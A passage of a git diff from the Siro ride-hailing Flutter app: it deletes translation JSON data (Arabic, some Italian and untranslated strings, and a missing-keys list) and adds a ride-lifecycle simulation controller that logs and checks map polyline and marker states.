المسار", - "You must be closer than 100 meters to arrive": "لازم تكون أقرب من 100 متر مشان توصل", - "A connection error occurred": "صار خطأ بالاتصال", - "Improve app performance": "تحسين أداء التطبيق", - "To ensure the best experience, we suggest adjusting the settings to suit your device. Would you like to proceed?": "مشان نضمنلك أحسن تجربة، بنقترح تعديل الإعدادات لتناسب جهازك. بدك نكمل؟", - "Yes, optimize": "إي، حسن الأداء", - "Your device provides excellent performance": "جهازك بيعطيك أداء ممتاز", - "Your device is good and very suitable": "جهازك جيد ومناسب كتير", - "Compatible, you may notice some slowness": "متوافق، بس ممكن تلاحظ شوية بطء", - "The app may not work optimally": "ممكن التطبيق ما يشتغل بأحسن شكل", - "Device Compatibility": "توافق الجهاز", - "Continue to App": "أكمل للتطبيق", - "Place added successfully! Thanks for your contribution.": "تمت إضافة المكان بنجاح! شكراً لمساهمتك.", - "Failed to add place. Please try again later.": "تعذر إضافة المكان. يرجى المحاولة لاحقاً.", - "An error occurred while connecting to the server.": "حدث خطأ أثناء الاتصال بالخادم.", - "Start Navigation?": "بدء الملاحة؟", - "Do you want to go to this location?": "بدك تروح لهالموقع؟", - "Go Now": "اذهب الآن", - "Selected Location": "الموقع المحدد", - "Add Balance": "إضافة رصيد", - "Select how you want to charge your account": "اختر كيف تريد شحن حسابك", - "Recharge Balance Packages": "باقات شحن الرصيد", - "Select Payment Method": "اختر طريقة الدفع", - "Amount to charge:": "المبلغ المطلوب شحنه:", - "Recharge Balance": "شحن الرصيد", - "Debit Card": "بطاقة دفع", - "Syriatel Cash": "سيريتل كاش", - "Sham Cash": "شام كاش", - "Confirm payment with biometrics": "تأكيد الدفع بالبصمة", - "Wallet Phone Number": "رقم هاتف المحفظة", - "PTS": "نقطة", - "You are buying": "أنت تقوم بشراء", - "Available Balance": "الرصيد المتاح", - "Total Rides": "إجمالي الرحلات", - "Pickup Location": "موقع الالتقاط", - "Destination Location": "موقع الوجهة", - "Cancelled": "ملغية", - "Cash Earnings": "أرباح نقداً", - "Card Earnings": "أرباح البطاقة", - "Your completed trips will appear here": "ستظهر رحلاتك المكتملة هنا", - "Cancelled by Passenger": "تم الإلغاء بواسطة الراكب" - }, - "missing_keys": [ - "${'NationalID", - "Server error", - "An error occurred while loading contacts: $e", - "Share via", - "To become a driver, you must review and agree to the ", - "${'Displacement", - "$achievedScore/$maxScore ${\"points", - "Choose how you want to call the passenger", - "Your payment is being processed and your wallet will be updated shortly.", - "Your device appears to be compromised. The app will now close.", - "Please enter phone number", - "${'How can I register as a driver?", - "You have been driving for 12 hours. For your safety and compliance, please take a 6-hour break.", - "${'Made :", - "${'الوقت المتبقي", - "${controller.totalCost} ${'\\$", - "${'VIN :", - "message'] ?? 'An unknown server error occurred", - "${'Document Number: ", - "Registration", - "Phone Number is not Egypt phone ", - "Mobile Wallets", - "تحديث جديد متوفر", - "Progress:", - "Recent Transactions", - "1 ${'LE", - "You have finished all times ", - "OTP is incorrect or expired", - "Please paste the transfer message", - "id': 3, 'name': 'Electric", - "${'Update", - "${'Color", - "National ID (Back)", - "${'Car Plate", - "Card Payment", - "Promotions", - "${rating.toStringAsFixed(1)} (${'reviews", - "${'Name :", - "Al Ahli Bank of Kuwait – Egypt", - "15000 ${'LE", - "15 ${'LE", - "Waiting for trips", - "${'Address", - "Bank Card Payment", - "🏆 ${'Maximum Level Reached!", - "for ", - "${rc.totalReferrals}', 'Total Invites", - "Incoming Call...", - "Bachelor\\'s Degree", - "Reward claimed successfully!", - "Your data will be erased after 2 weeks\\nAnd you will can\\'t return to use app after 1 month", - "${'*Siro APP CODE*", - "MTN Cash", - "Syria') return 'لا حكم عليه", - "${'Failed to save driver data", - "Pay using Sham Cash wallet", - "${'FullName", - "Transaction failed, please try again.", - "Error', 'An application error occurred.", - "The map will show an approximate view.", - "Wallet Payment", - "${'Address: ", - "Driver Referral", - "${'You can resend in", - "ملخص الأرباح", - "Driver's Personal Information", - "${'Car Expire", - "${'Next Level:", - "Failed to claim reward", - "id': 2, 'name': 'Motorcycle", - "Uses cellular network", - "${'You have call from driver", - "${rc.activeReferrals}', 'Active", - "We are process picture please wait ", - "${'We have sent a verification code to your mobile number:", - "${'Name in arabic", - "Invite Rider", - "Detect Your Face ", - "How It Works", - "Login failed", - "Failed to cancel ride", - "title': 'scams operations", - "Expired License', 'Your driver’s license has expired.", - "id': 1, 'name': 'Petrol", - "${'OrderId", - "([^\"]+)\"\\.tr\\(\\)'), // \"string", - "${\"NEXT STEP", - " and acknowledge our Privacy Policy.", - "Safety First 🛑", - "Quick Invite", - "An error occurred during contact sync: $e", - "Siro is a ride-sharing app designed with your safety and affordability in mind. We connect you with reliable drivers in your area, ensuring a convenient and stress-free travel experience.\\n\\nHere are some of the key features that set us apart:", - "E-Cash payment gateway", - "${(driverInvitationDataToPassengers[index]['passengerName'].toString())} ${driverInvitationDataToPassengers[index]['countOfInvitDriver']} / 3 ${'Trip", - "Extra 200 pts when they complete 10 trips", - "${'An unexpected error occurred:", - "Share this code to earn rewards", - "Wallet Added${(remainingFee).toStringAsFixed(0)}", - "${gc.unlockedCount}/${gc.totalAchievements} ${'Achievements", - " ${durationController.jsonData1['message'][0]['day'].toString().split('-')[1]}", - "Profile Picture", - "Error processing request", - " is ON for this month", - "${'model :", - "from 3:00pm to 6:00 pm", - "([^\"]+)\"\\.tr\\(args: \\[.*?\\]\\)'), // \"string", - "Withdraw", - "message'] ?? 'Failed to send OTP.", - "Microphone permission is required for voice calls", - "id': 1, 'name': 'Car", - "${'Remaining:", - "${(driverInvitationData[index]['invitorName'])} ${(driverInvitationData[index]['countOfInvitDriver'])} / 100 ${'Trip", - "${'Price:", - "Could not start ride. Please check internet.", - "Referral Center", - "${'Drivers License Class: ", - "Passenger Referral", - "${'Chassis", - "Master\\'s Degree", - "${captainWalletController.totalAmountVisa} ${'ل.س", - "error'] ?? 'Failed to claim reward", - "To become a ride-sharing driver on the Siro app...", - "Failed to initiate call session. Please try again.", - "${'Owner Name", - "${'Plate Number", - "عدم محكومية", - "Speaker", - "Let the passenger scan this code to sign up", - "Quick Invite Link:", - "Image detecting result is ", - "0.47 ${'JOD", - "${'The price must be over than ", - "${\"transaction_id", - "${rc.totalRewardsEarned.toStringAsFixed(0)}', 'Rewards", - "0.05 ${'JOD", - "$pointFromBudget ${'has been added to your budget", - "Insufficient Balance", - "Call Options", - "whatsapp', phone1, 'Hello", - "${'National Number", - "تحديث الآن", - "from 7:00am to 10:00am", - "id': 3, 'name': 'Van / Bus", - "Air condition Trip", - "end_name'] ?? 'Destination Location", - "Claim", - "2', 'Friend signs up", - "${'Please wait", - "startName'] ?? 'Unknown Location", - "National ID (Front)", - "${'before", - "${'Date of Birth", - "${'Year", - "Same device detected", - "${'Age", - "Go Online", - "Summary of your daily activity", - "Lets check Car license ", - "carType'] ?? 'Fixed Price", - "endName'] ?? 'Destination", - "Ahli United Bank", - "([^']+)'\\.tr\\(\\w+\\)\"), // 'string", - "${controller.totalPoints} / ${next.minPoints} ${'Points", - "You can\\'t continue with us .\\nYou should renew Driver license", - "([^\"]+)\"\\.tr\\(\\w+\\)'), // \"string", - "([^']+)'\\.tr\"), // 'string", - "${'Height: ", - "${'Tax Expiry Date", - "Egypt') return 'فيش وتشبيه", - "No internet connection", - "Al Baraka Bank Egypt B.S.C.", - "([^\"]+)\"\\.tr'), // \"string", - "${\"NationalID", - "CliQ", - "Pay via CliQ (Alias: siroapp)", - "${sc.activeDays} ${'Days", - "Reward Claimed", - "CliQ Payment", - "${'When", - "${firstNameController.text} ${lastNameController.text}", - "message'] ?? 'Claim failed", - "${'Ride", - "'", - "${'Transaction successful", - "1 ${'JOD", - "${'IssueDate", - "${'Be sure for take accurate images please\\nYou have", - "Dec 15 - Dec 21, 2024", - "${'You have in account", - "id': 4, 'name': 'Hybrid", - "3', 'Both earn rewards", - "${\"Total rides on month\".tr} = ${durationController.jsonData2['message'][0]['totalCount'] ?? 0}", - "View All", - "${'Inspection Date", - "Submit ", - "${\"Transfer Fee", - "You Refused 3 Rides this Day that is the reason \\nSee you Tomorrow!", - "History", - "Please transfer the amount to alias: siroapp", - "Earnings Summary", - "They register using your code", - "You get 100 pts, they get 50 pts", - "${'Model", - "Driver Invitations", - "Net Profit", - "${'رصيدك الإجمالي:", - "Your Referral Code", - "20 ${'LE", - "Trips: $trips / $target", - "Invitations Sent", - "Network error", - "${'Please enter", - "hard_brakes']} ${'Hard Brakes", - "Code copied!", - "Please allow location access \"all the time\" to receive ride requests even when the app is in the background.", - "${'Drivers License Class", - "you must insert token code ", - "$countOfInvitDriver / 100 ${'Trip", - "${'ُExpire Date", - "${\"amount", - "Error uploading proof", - "${'InspectionResult", - "يوجد إصدار جديد من التطبيق في المتجر، يرجى التحديث للحصول على الميزات الجديدة.", - "${\"Passenger cancelled the ride.", - "for transfer fees", - "Passenger Invitations", - "${'Hi", - "${'The reason is", - "${\"Minimum transfer amount is", - "driver' ? 'Invite Driver", - "4', 'Bonus at 10 trips", - "${e.value.toInt()} ${'Rides", - "No statistics yet", - "${'You gained", - "Egypt': return 'EGP", - "Siro LLC\\n${'Syria", - "Reward Status", - "1', 'Share your code", - "Failed", - "Error starting voice call", - "Pay using MTN Cash wallet", - "([^']+)'\\.tr\\(\\)\"), // 'string", - "message']?.toString() ?? 'Failed to create invoice", - "Start sharing your code!", - "Send your referral code to friends", - "Commission", - "${\"You must leave at least", - "Pay using Syriatel mobile wallet", - "${\"Total budgets on month\".tr} = ${durationController.jsonData2['message'][0]['totalPrice'] ?? 0}", - "start_name'] ?? 'Pickup Location", - "How would you like to receive your reward?", - "We will send you a notification as soon as your account is approved. You can safely close this page, and we'll let you know when the review is complete.", - "مدة الرحلة: ${order.tripDurationMinutes} دقيقة", - "200 ${'JOD", - "Error connecting call", - "${'year :", - "Enter phone number", - "Voice call over internet", - "Please wait for all documents to finish uploading before registering.", - "Back", - "${'Car Kind", - "${'Make", - "I cant register in your app in face detection ", - "To become a ride-sharing driver on the Siro app, you need to upload your driver's license, ID document, and car registration document. Our AI system will instantly review and verify their authenticity in just 2-3 minutes. If your documents are approved, you can start working as a driver on the Siro app. Please note, submitting fraudulent documents is a serious offense and may result in immediate termination and legal consequences.", - "Connection error", - "You have gift 300 ${CurrencyHelper.currency}", - "${'Expiry Date", - "${'Date of Birth: ", - "Syria': return 'SYP", - "Capture an Image of Your car license front ", - "${'Expiry Date: ", - "${'expected", - "${'Name", - "We have maintenance offers for your car. You can use them after completing 600 trips to get a 20% discount on car repairs. Enjoy using our Tripz app and be part of our Tripz family.", - "Call Ended", - "${'*Siro DRIVER CODE*", - "$title $subtitle", - "${'wallet_credited_message", - "$countOfInvitDriver / 3 ${'Trip", - "Just now", - "لقد ألغيت $count رحلات اليوم. الوصول لـ 3 سيعرضك للإيقاف المؤقت.", - "you have connect to passengers and let them cancel the order", - "الرصيد المتاح", - "${'License Expiry Date", - "email', 'support@sefer.live', 'Hello", - "Standard Call", - "${'Average of Hours of", - "id': 2, 'name': 'Diesel", - "Choose Claim Method", - "${'Fuel", - "${'المبلغ في محفظتك أقل من الحد الأدنى للسحب وهو", - "Last updated:" - ] -} \ No newline at end of file diff --git a/siro_rider/lib/controller/home/map/map_screen_binding.dart b/siro_rider/lib/controller/home/map/map_screen_binding.dart index e24f441..3f96464 100644 --- a/siro_rider/lib/controller/home/map/map_screen_binding.dart +++ b/siro_rider/lib/controller/home/map/map_screen_binding.dart @@ -6,6 +6,7 @@ import 'location_search_controller.dart'; import 'nearby_drivers_controller.dart'; import 'ride_lifecycle_controller.dart'; import 'ui_interactions_controller.dart'; +import 'ride_simulation.dart'; class MapScreenBinding extends Bindings { @override @@ -21,5 +22,8 @@ class MapScreenBinding extends Bindings { // 3. Lifecycle and UI Interaction Controllers Get.lazyPut(() => RideLifecycleController()); Get.lazyPut(() => UiInteractionsController(), fenix: true); + + // 4. Simulation Controller (for development/testing) + Get.lazyPut(() => RideSimulationController(), fenix: true); } } diff --git a/siro_rider/lib/controller/home/map/ride_lifecycle_controller.dart b/siro_rider/lib/controller/home/map/ride_lifecycle_controller.dart index 34a60ed..15dbc36 100644 --- a/siro_rider/lib/controller/home/map/ride_lifecycle_controller.dart +++ b/siro_rider/lib/controller/home/map/ride_lifecycle_controller.dart @@ -2137,17 +2137,21 @@ class RideLifecycleController extends GetxController { polyLines = polyLines .where((p) => !p.polylineId.value.startsWith('driver_route') && - p.polylineId.value != 'main_route' && p.polylineId.value != 'route_primary' && p.polylineId.value != 'route_direct') .toSet(); if (statusRide == 'Begin' || currentRideState.value == RideState.inProgress) { - // لا نرسم أي شيء في حالة البدء لأنه وصل - polyLines = polyLines - .where((p) => !p.polylineId.value.startsWith('driver_route')) - .toSet(); + polyLines = { + ...polyLines.where((p) => !p.polylineId.value.startsWith('driver_route')), + Polyline( + polylineId: const PolylineId('main_route'), + points: remainingPoints, + color: const Color(0xFF2196F3), + width: 6, + ), + }; } else { polyLines = { ...polyLines, @@ -4263,6 +4267,11 @@ class RideLifecycleController extends GetxController { return segments; } + // Call this externally when passengerLocation changes to refresh walk line + void updatePassengerWalkLine() { + _updatePassengerWalkLine(); + } + // تحديث الخط المنقط ومكان أيقونة المشي للراكب void _updatePassengerWalkLine() { polyLines.removeWhere( diff --git a/siro_rider/lib/controller/home/map/ride_simulation.dart b/siro_rider/lib/controller/home/map/ride_simulation.dart new file mode 100644 index 0000000..3c00e14 --- /dev/null +++ b/siro_rider/lib/controller/home/map/ride_simulation.dart @@ -0,0 +1,438 @@ +import 'dart:async'; +import 'dart:math' show cos, pi, sin; +import 'package:flutter/material.dart'; +import 'package:get/get.dart'; +import 'package:intaleq_maps/intaleq_maps.dart'; + +import '../../../print.dart'; +import 'map_engine_controller.dart'; +import 'map_socket_controller.dart'; +import 'nearby_drivers_controller.dart'; +import 'ride_lifecycle_controller.dart'; +import 'ride_state.dart'; +import 'location_search_controller.dart'; + +class RideSimulationController extends GetxController { + Timer? _simulationTimer; + int _step = 0; + bool _isSimulating = false; + + List _simulatedRoute = []; + int _driverRouteIndex = 0; + + String get simulationStatus => _isSimulating + ? 'Simulating... Step $_step' + : 'Idle'; + + // آمود نقاط المسار (Jordan area: Amman center ~ 31.95, 35.91) + static const double _centerLat = 31.95; + static const double _centerLng = 35.91; + static const double _routeDelta = 0.03; + static const int _routePointCount = 100; + + void _generateRoutePoints() { + _simulatedRoute = []; + for (int i = 0; i < _routePointCount; i++) { + double fraction = i / (_routePointCount - 1); + double lat = _centerLat + fraction * _routeDelta; + double lng = _centerLng + fraction * _routeDelta + + 0.005 * sin(fraction * pi * 2); + _simulatedRoute.add(LatLng(lat, lng)); + } + } + + void startFullSimulation() { + if (_isSimulating) return; + _isSimulating = true; + _step = 0; + _driverRouteIndex = 0; + _generateRoutePoints(); + + Log.print('=' * 70); + Log.print('🚀 RIDE SIMULATION STARTED — Full lifecycle test'); + Log.print('=' * 70); + + _simulationTimer = Timer.periodic(const Duration(seconds: 2), (timer) { + switch (_step) { + case 0: + _simulateSearchingState(); + break; + case 1: + _simulateDriverAppliedState(); + break; + case 2: + _simulateDriverEnRoute(isFirst: true); + break; + case 3: + _simulateDriverEnRoute(isFirst: false); + break; + case 4: + _simulateDriverArrivedState(); + break; + case 5: + _simulateRideBeginState(); + break; + case 6: + _simulateRideInProgress(); + break; + case 7: + _simulateRideFinishedState(); + timer.cancel(); + _isSimulating = false; + Log.print('=' * 70); + Log.print('✅ RIDE SIMULATION COMPLETED'); + Log.print('=' * 70); + break; + } + _step++; + update(); + }); + } + + void stopSimulation() { + _simulationTimer?.cancel(); + _simulationTimer = null; + _isSimulating = false; + _step = 0; + _driverRouteIndex = 0; + Log.print('🛑 Simulation stopped'); + update(); + } + + void _logPolylineState(String stage) { + final mapEngine = Get.find(); + Log.print(''); + Log.print('╔══ Polyline State [$stage] ══╗'); + if (mapEngine.polyLines.isEmpty) { + Log.print(' ║ (no polylines)'); + } + for (final p in mapEngine.polyLines) { + String colorStr; + if (p.color == Colors.amber) { + colorStr = 'AMBER'; + } else if (p.color.value == 0xFF2196F3) { + colorStr = 'BLUE'; + } else if (p.color == Colors.blueGrey) { + colorStr = 'BLUE_GREY'; + } else { + colorStr = '#${p.color.value.toRadixString(16).padLeft(8, '0')}'; + } + Log.print(' ║ • ${p.polylineId.value}: ${p.points.length} pts, ' + 'color: $colorStr, w: ${p.width}'); + } + Log.print('╠══ Markers [$stage] ══╣'); + if (mapEngine.markers.isEmpty) { + Log.print(' ║ (no markers)'); + } + for (final m in mapEngine.markers) { + Log.print(' ║ • ${m.markerId.value}: ' + '(${m.position.latitude.toStringAsFixed(5)}, ' + '${m.position.longitude.toStringAsFixed(5)}), ' + 'heading: ${m.rotation.toStringAsFixed(1)}'); + } + Log.print('╚══════════════════════╝'); + Log.print(''); + } + + void _verifyPolylineCondition(bool condition, String description) { + if (!condition) { + Log.print(' ❌ VERIFY FAILED: $description'); + } else { + Log.print(' ✅ VERIFY PASSED: $description'); + } + } + + LatLng _interpolateRoutePoint(double fraction) { + if (_simulatedRoute.isEmpty) return LatLng(_centerLat, _centerLng); + int total = _simulatedRoute.length; + double exactIdx = fraction * (total - 1); + int idx = exactIdx.floor(); + if (idx >= total - 1) return _simulatedRoute.last; + double t = exactIdx - idx; + return LatLng( + _simulatedRoute[idx].latitude + + t * (_simulatedRoute[idx + 1].latitude - _simulatedRoute[idx].latitude), + _simulatedRoute[idx].longitude + + t * (_simulatedRoute[idx + 1].longitude - _simulatedRoute[idx].longitude), + ); + } + + void _simulateSearchingState() { + Log.print('🟡 [Step $_step] STATE: SEARCHING'); + final ride = Get.find(); + final locSearch = Get.find(); + + ride.currentRideState.value = RideState.searching; + ride.rideId = 'sim_ride_001'; + ride.isSearchingWindow = true; + + // آمود موقع الراكب + LatLng passengerLoc = _simulatedRoute.isNotEmpty + ? _simulatedRoute.first + : LatLng(_centerLat, _centerLng); + locSearch.passengerLocation = passengerLoc; + ride.passengerLocation = passengerLoc; + ride.update(); + + _logPolylineState('searching'); + _verifyPolylineCondition( + Get.find().polyLines.isEmpty, + 'No route polylines during searching'); + Log.print(''); + } + + void _simulateDriverAppliedState() { + Log.print('🟢 [Step $_step] STATE: DRIVER APPLIED'); + final ride = Get.find(); + final nearbyDrivers = Get.find(); + final locSearch = Get.find(); + + ride.currentRideState.value = RideState.driverApplied; + ride.statusRide = 'Apply'; + ride.isSearchingWindow = false; + + // آمود معلومات السائق + ride.driverId = 'sim_driver_001'; + ride.driverName = 'Simulated Captain'; + ride.make = 'Toyota'; + ride.model = 'Corolla'; + ride.carColor = 'White'; + ride.licensePlate = 'SIM-123'; + ride.driverRate = '4.8'; + ride.driverPhone = '+9627XXXXXXXX'; + ride.driverToken = 'sim_token_001'; + + // آمود مواقع البداية والنهاية + ride.passengerLocation = _simulatedRoute.first; + ride.myDestination = _simulatedRoute.last; + locSearch.passengerLocation = _simulatedRoute.first; + locSearch.myDestination = _simulatedRoute.last; + + // محاكاة موقع السائق (45% على طول المسار) + LatLng driverPos = _interpolateRoutePoint(0.45); + nearbyDrivers.driverCarsLocationToPassengerAfterApplied = [driverPos]; + + // رسم مسار السائق إلى الراكب + ride.calculateDriverToPassengerRoute(driverPos, ride.passengerLocation); + + // وضع ماركر السائق على الخريطة + ride.updateDriverMarker(driverPos, 45.0); + ride.update(); + + _logPolylineState('driver_applied'); + + // التحقق من وجود الخطوط المطلوبة + final polylines = Get.find().polyLines; + _verifyPolylineCondition( + polylines.any((p) => p.polylineId.value == 'driver_route_solid'), + 'driver_route_solid (amber solid line) exists'); + _verifyPolylineCondition( + polylines.any((p) => p.polylineId.value.startsWith('passenger_walk_line')), + 'passenger_walk_line (dashed walk line) exists'); + _verifyPolylineCondition( + polylines.any((p) => p.color == Colors.amber), + 'Amber-colored polyline exists (driver route)'); + _verifyPolylineCondition( + polylines.any((p) => p.color == Colors.blueGrey), + 'BlueGrey-colored polyline exists (walk dashes)'); + Log.print(''); + } + + void _simulateDriverEnRoute({required bool isFirst}) { + String label = isFirst ? '1' : '2'; + Log.print('🔵 [Step $_step] STATE: DRIVER APPROACHING (update #$label)'); + final ride = Get.find(); + final nearbyDrivers = Get.find(); + + _driverRouteIndex += 18; + if (_driverRouteIndex > _routePointCount - 1) { + _driverRouteIndex = _routePointCount - 1; + } + + LatLng newPos = _simulatedRoute[_driverRouteIndex]; + + // تحديث موقع السائق + nearbyDrivers.driverCarsLocationToPassengerAfterApplied = [newPos]; + + ride.updateDriverMarker(newPos, 50.0); + ride.updateRemainingRoute(newPos); + ride.update(); + + _logPolylineState('driver_en_route_$label'); + + // التحقق: driver_route_solid يبقى موجود ويتقلص + final polylines = Get.find().polyLines; + _verifyPolylineCondition( + polylines.any((p) => p.polylineId.value == 'driver_route_solid'), + 'driver_route_solid still exists (shrinking)'); + _verifyPolylineCondition( + polylines.any((p) => p.polylineId.value.startsWith('passenger_walk_line')), + 'passenger_walk_line still exists'); + Log.print(''); + } + + void _simulateDriverArrivedState() { + Log.print('🟣 [Step $_step] STATE: DRIVER ARRIVED'); + final ride = Get.find(); + + ride.currentRideState.value = RideState.driverArrived; + ride.statusRide = 'Arrived'; + + // محاكاة وصول السائق: تحديد الموقع كآخر نقطة طريق + LatLng driverPos = _simulatedRoute.first; + + // تطبيق arrived logic + ride.polyLines = ride.polyLines + .where((p) => + p.polylineId.value != 'main_route' && + p.polylineId.value != 'route_direct' && + !p.polylineId.value.startsWith('driver_route')) + .toSet(); + + // رسم المسار الجديد (من السائق إلى الوجهة النهائية) + ride.calculateDriverToPassengerRoute(driverPos, ride.myDestination, + isBeginPhase: true); + + ride.update(); + + _logPolylineState('driver_arrived'); + + final polylines = Get.find().polyLines; + // في حالة الوصول: يجب أن يظهر main_route (أزرق) بدلاً من driver_route_solid + _verifyPolylineCondition( + !polylines.any((p) => p.polylineId.value == 'driver_route_solid'), + 'driver_route_solid (amber) has been cleared'); + _verifyPolylineCondition( + polylines.any((p) => p.polylineId.value == 'main_route'), + 'main_route (blue) has been drawn to destination'); + Log.print(''); + } + + void _simulateRideBeginState() { + Log.print('🔴 [Step $_step] STATE: RIDE IN PROGRESS (Begin)'); + final ride = Get.find(); + + ride.currentRideState.value = RideState.inProgress; + ride.statusRide = 'Begin'; + + LatLng driverPos = _simulatedRoute.first; + + // محاكاة processRideBegin: مسح الخطوط القديمة ورسم الخط الجديد + ride.polyLines = ride.polyLines + .where((p) => + p.polylineId.value != 'main_route' && + p.polylineId.value != 'route_direct' && + !p.polylineId.value.startsWith('driver_route')) + .toSet(); + + ride.calculateDriverToPassengerRoute(driverPos, ride.myDestination, + isBeginPhase: true); + + ride.rideIsBeginPassengerTimer(); + ride.update(); + + _logPolylineState('ride_begin'); + + final polylines = Get.find().polyLines; + _verifyPolylineCondition( + polylines.any((p) => p.polylineId.value == 'main_route'), + 'main_route (blue) exists for trip'); + _verifyPolylineCondition( + !polylines.any((p) => p.polylineId.value.startsWith('driver_route')), + 'No driver_route* polylines remain'); + _verifyPolylineCondition( + polylines.any((p) => p.color.value == 0xFF2196F3), + 'Blue polyline (main route) is present'); + Log.print(''); + } + + void _simulateRideInProgress() { + Log.print('📱 [Step $_step] STATE: CAR MOVING (remaining route update)'); + final ride = Get.find(); + final nearbyDrivers = Get.find(); + + _driverRouteIndex += 30; + if (_driverRouteIndex > _routePointCount - 1) { + _driverRouteIndex = _routePointCount - 1; + } + + LatLng newPos = _simulatedRoute[_driverRouteIndex]; + + nearbyDrivers.driverCarsLocationToPassengerAfterApplied = [newPos]; + + ride.updateDriverMarker(newPos, 70.0); + ride.updateRemainingRoute(newPos, updateEta: true); + ride.update(); + + _logPolylineState('ride_in_progress'); + + final polylines = Get.find().polyLines; + _verifyPolylineCondition( + polylines.any((p) => p.polylineId.value == 'main_route'), + 'main_route (blue) exists with remaining points'); + _verifyPolylineCondition( + !polylines.any((p) => p.polylineId.value.startsWith('driver_route')), + 'No driver_route* polylines remain'); + Log.print(''); + } + + void _simulateRideFinishedState() { + Log.print('🏁 [Step $_step] STATE: RIDE FINISHED'); + final ride = Get.find(); + final mapEngine = Get.find(); + + ride.currentRideState.value = RideState.finished; + ride.statusRide = 'Finished'; + ride.isSearchingWindow = false; + + ride.stopAllTimers(); + mapEngine.clearPolyline(); + mapEngine.markers = {}; + ride.update(); + + _logPolylineState('ride_finished'); + + _verifyPolylineCondition( + Get.find().polyLines.isEmpty, + 'All polylines cleared'); + _verifyPolylineCondition( + Get.find().markers.isEmpty, + 'All markers removed'); + Log.print(''); + } + + // Simulate a single WebSocket location update event + void simulateSocketLocationUpdate(LatLng position, double heading) { + final ride = Get.find(); + final nearbyDrivers = Get.find(); + final mapSocket = Get.find(); + + Log.print('📡 Simulating socket location update: ' + '(${position.latitude.toStringAsFixed(5)}, ${position.longitude.toStringAsFixed(5)})'); + + nearbyDrivers.driverCarsLocationToPassengerAfterApplied = [position]; + ride.driverCarsLocationToPassengerAfterApplied = [position]; + + ride.checkAndRecalculateIfDeviated( + position, + heading: heading, + speed: 30.0, + ); + + final mapEngine = Get.find(); + if (mapEngine.mapController != null) { + mapEngine.mapController! + .animateCamera(CameraUpdate.newLatLngZoom(position, 16.5)); + } + + ride.updateDriverMarker(position, heading); + ride.updateRemainingRoute(position); + ride.update(); + } + + @override + void onClose() { + _simulationTimer?.cancel(); + super.onClose(); + } +} diff --git a/siro_rider_translations_data.json b/siro_rider_translations_data.json deleted file mode 100644 index 9a10133..0000000 --- a/siro_rider_translations_data.json +++ /dev/null @@ -1,1648 +0,0 @@ -{ - "existing_syrian": { - "About Siro": "Informazioni su Siro", - "Chat with us anytime": "Chatta con noi in qualsiasi momento", - "Direct talk with our team": "Parla direttamente con il nostro team", - "Email Support": "Supporto via email", - "For official inquiries": "Per richieste ufficiali", - "Siro Support": "Supporto Siro", - "Change Home location ?": "تغيير موقع المنزل؟", - "Change Work location ?": "تغيير موقع العمل؟", - "Reach out to us via": "Contattaci tramite", - "Support is Away": "Il supporto è attualmente assente", - "Support is currently Online": "Il supporto è attualmente online", - "Voice Call": "Chiamata vocale", - "We're here to help you 24/7": "Siamo qui per aiutarti 24/7", - "Working Hours:": "Orario di lavoro:", - "1 Passenger": "1 Passenger", - "2 Passengers": "2 Passengers", - "3 Passengers": "3 Passengers", - "4 Passengers": "4 Passengers", - "2. Attach Recorded Audio (Optional)": "2. Attach Recorded Audio (Optional)", - "Accept": "قبول", - "Account": "Account", - "Actions": "Actions", - "Active Users": "Active Users", - "Add a Stop": "Add a Stop", - "Add a new waypoint stop": "Add a new waypoint stop", - "After this period\\nYou can\\'t cancel!": "After this period\\nYou can\\'t cancel!", - "Age is": "Age is", - "Alert": "Alert", - "An OTP has been sent to your number.": "An OTP has been sent to your number.", - "An error occurred": "An error occurred", - "Appearance": "Appearance", - "Are you sure you want to delete this file?": "Are you sure you want to delete this file?", - "Are you sure you want to logout?": "Are you sure you want to logout?", - "Arrived": "Arrived", - "Audio Recording": "Audio Recording", - "Call": "Call", - "Call Options": "خيارات الاتصال", - "Call Connected": "تم فتح الاتصال", - "Call Support": "Call Support", - "Call left": "Call left", - "Calling": "عم نتصل بـ", - "Change Photo": "Change Photo", - "Captain": "الكابتن", - "Choose from Gallery": "Choose from Gallery", - "Choose how you want to call the driver": "اختر طريقة الاتصال بالكابتن", - "Choose from contact": "Choose from contact", - "Click to track the trip": "Click to track the trip", - "Close panel": "Close panel", - "Coming": "Coming", - "Complete Payment": "Complete Payment", - "Confirm Cancellation": "Confirm Cancellation", - "Confirm Pickup Location": "Confirm Pickup Location", - "Connecting...": "عم يتم الاتصال...", - "Connection failed. Please try again.": "Connection failed. Please try again.", - "Could not create ride. Please try again.": "Could not create ride. Please try again.", - "Crop Photo": "Crop Photo", - "Dark Mode": "Dark Mode", - "Decline": "رفض", - "Delete": "Delete", - "Delete Account": "Delete Account", - "Delete All": "Delete All", - "Delete All Recordings?": "Delete All Recordings?", - "Delete Recording?": "Delete Recording?", - "Destination Set": "Destination Set", - "Distance": "Distance", - "Double tap to open search or enter destination": "Double tap to open search or enter destination", - "Double tap to set or change this waypoint on the map": "Double tap to set or change this waypoint on the map", - "Drawing route on map...": "Drawing route on map...", - "Driver Phone": "Driver Phone", - "Driver is Going To You": "Driver is Going To You", - "Emergency Mode Triggered": "Emergency Mode Triggered", - "Emergency SOS": "Emergency SOS", - "End": "إنهاء", - "Enter the 5-digit code": "Enter the 5-digit code", - "Enter the 3-digit code": "أدخل الكود المكون من ٣ أرقام", - "Already have an account? Login": "هل لديك حساب بالفعل؟ تسجيل الدخول", - "Don't have an account? Register": "ليس لديك حساب؟ تسجيل", - "Enter your City": "Enter your City", - "Enter your Password": "Enter your Password", - "Failed to book trip: \\$e": "Failed to book trip: \\$e", - "Failed to get location": "Failed to get location", - "Failed to initiate payment. Please try again.": "Failed to initiate payment. Please try again.", - "Failed to send OTP": "Failed to send OTP", - "Failed to upload photo": "Failed to upload photo", - "Finished": "Finished", - "Fixed Price": "Fixed Price", - "Free Call": "مكالمة مجانية", - "Professional driver": "كابتن محترف", - "Trusted driver": "كابتن موثوق", - "Verified driver": "كابتن موثق", - "General": "General", - "Grant": "Grant", - "Have a Promo Code?": "Have a Promo Code?", - "Hello! I\\'m inviting you to try Siro.": "Hello! I\\'m inviting you to try Siro.", - "Hi ,I Arrive your site": "Hi ,I Arrive your site", - "Hi, Where to": "Hi, Where to", - "Home": "Home", - "I am currently located at": "I am currently located at", - "I'm Safe": "I'm Safe", - "If you need to reach me, please contact the driver directly at": "If you need to reach me, please contact the driver directly at", - "Image Upload Failed": "Image Upload Failed", - "Siro Passenger": "Siro Passenger", - "Invite": "Invite", - "Join a channel": "Join a channel", - "Last Name": "Last Name", - "Leave a detailed comment (Optional)": 